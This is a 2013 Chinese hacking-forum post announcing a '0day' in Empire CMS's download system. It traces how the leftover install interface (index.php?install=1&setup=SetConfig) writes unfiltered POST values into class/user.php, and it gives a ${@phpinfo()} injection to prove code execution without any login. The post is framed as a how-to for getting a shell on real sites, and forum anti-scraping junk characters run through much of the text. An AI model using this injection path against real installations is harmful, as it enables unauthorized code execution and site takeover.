找回密码
 立即注册
查看: 2970|回复: 0
打印 上一主题 下一主题

帝国万能接口漏洞0day

[复制链接]
跳转到指定楼层
楼主
发表于 2013-1-23 09:34:37 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
这是帝国的一套下载系统如图 ps(不需要任何账户和密码,直接写shell) 由于很多站是由于下载要整合discuz等等一些论坛.... 而帝国他又有一个万能接口,如图 而这个接口很多人又不会删除,由此他带来了很大的安全隐患,导致直接getshell,下面分析代码 当我们
$ d7 s! R/ g' ]2 J: M- Q( W" f7 c( f+ w+ v/ z, q/ ~

+ _- k* p! |7 F( m% F5 k1 Z" f
这是帝国的一套下载系统 如图! y; t. L# `+ f8 U9 D. i2 A+ P
ps(不需要任何账户和密码,直接写shell)


' i& H( U9 X0 _0 F' g

由于很多站是由于下载要整合discuz 等等一些论坛....
( _; e2 H+ M3 {- X

: I' c0 S. r  c. S% J4 d$ ~

而帝国他又有一个万能接口,如图

: \/ j% C* \) @; Z" |7 Y1 L/ N+ Z

. R: l8 P1 k/ |/ b
( O' G) _: H7 E  B) L5 e

而这个接口很多人又不会删除,由此他带来了很大的安全隐患,导致直接getshell,下面分析代码5 A$ @: \$ i* l: J5 x' M0 _5 Z# @4 X

2 p1 d9 x* p0 o! i: c% o4 a( \当我们提交的时候,他地址是提交到index.php?install=1&setup=SetConfig

1. if($_GET['install']==1)
2. {
3. @include("../class/connect.php");
4. @include("../class/db_sql.php");
5. @include("../class/functions.php");
6. $link=db_connect();
7. $empire=new mysqlquery();
8. if($setup=="SetConfig")
9. {
10. SetUserCOMConfig($_POST);
11. }
12. elseif($setup=="alter")
13. {
14. InstallUserCOM();
15. }
16. elseif($setup=="update")
17. {
18. UpdateUserCOM();
19. }
20. else
21. {}

复制代码

他这里开始调用一个SetUserCOMConfig的函数了,我们继续跟踪) F8 ~# W7 {9 Q  ~% f+ y
; G) X( m* ^7 v3 ?4 u: O" S
在data/fun.php中的15行% p- e9 J8 B- k5 E2 U: ?
- H6 Q, E" _4 m8 \
我们可以看到这个函数

1. function SetUserCOMConfig($add){
2. $filetext=ReadFiletext('data/user.php');
3. if(empty($filetext))
4. {
5. InstallShowMsg('文件 /update/data/user.php 丢失,安装不成功.');
6. }
7. $vr=explode(",",ReturnRepUserVar());
8. $count=count($vr);
9. for($i=0;$i<$count;$i++)
10. {
11. $filetext=str_replace("[!@--".$vr[$i]."--@!]",$add[$vr[$i]],$filetext);
12. }
13. //写入配置文件
14. $fp=@fopen("../class/user.php","w");
15. if(!$fp)
16. {
" c# A9 _3 q! \# V% t
17. InstallShowMsg(' /class/user.php 文件权限没有设为0777,安装不成功.');
18. }
19. @fputs($fp,$filetext);
20. @fclose($fp);

复制代码

.....//省略若干
0 r9 `8 W9 M+ t( s% U. \- [. B! ^# e9 K' ]
这里的他将$filetext=str_replace("[!@--".$vr[$i]."--@!]",$add[$vr[$i]],$filetext);+ U5 w& Q3 j! i( S. Q- N& y
" v  s% d+ U3 r- Y- R
他将传进来的变量进行了切割,然后赋给了$filetext3 k& b: F2 P3 L$ u5 ^
. y7 M1 l/ ?6 v" |, x
然后看下面

1. //写入配置文件
2. $fp=@fopen("../class/user.php","w");
3. if(!$fp)
4. {
5. InstallShowMsg(' /class/user.php 文件权限没有设为0777,安装不成功.');
6. }
7. @fputs($fp,$filetext);

复制代码

打开了一个class/user.php文件,然后将$filetext写入了+ A" g( _  }) _( m# c
6 z! ]: u3 g: a7 m8 m+ B
我们看看写入的结果,随便填一个

+ d, [# F5 w4 L0 V& b" `, x
9 l  ]5 j& W1 W% d7 O) `0 z$ T# Q

( @2 b) F( c# N& Y2 M2 X1 W; }& B( ^+ R8 P! V( g+ ?+ _8 D

/ l1 c' q7 C2 b6 K' W
; V: z4 |8 W3 K, w- x0 g$ k
5 Q/ q0 Q) G( o* L: B

$ C6 j& o  h6 g' a

' u- A) T, M$ s
3 `* E3 ]; A% p3 P6 g1 W  q. R: `

: [* _* m( v8 \4 `2 K% K, S7 I  @+ A8 O* l

$ s% H2 F: S8 N! r( _% O, w) A8 j9 U( t

; x$ R) _  E) A) V' ^; ], ~% R+ }0 y. c: l8 _  ]& @
3 F8 t& m7 I3 [2 i6 N

1 `2 a9 R7 l( ?( V* B8 B! A. E* q7 n( T( A5 }1 ^, C
. X; a* s; o+ Z' [* I

, i, Y* C# x2 ]! P2 p
- c; h; W! S# `+ k/ L0 O9 i* ?9 o# c8 G

所以我们淫荡点,写个${@phpinfo()}试试

" C2 ^+ Z9 j' H

然后访问以下class/user.php这个文件
0 D8 T, O. B6 H( r, T日了吧


$ ^% d* A6 d& i6 }2 e
7 F: L' D9 G" d( n) ]

+ K# g7 y' ]& u& p' H9 f0 a% k) E  U8 F% _$ ^  d7 [+ ~
/ H2 h+ s# Z( _8 V
# t7 ]' |  j" M) W( y1 R

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表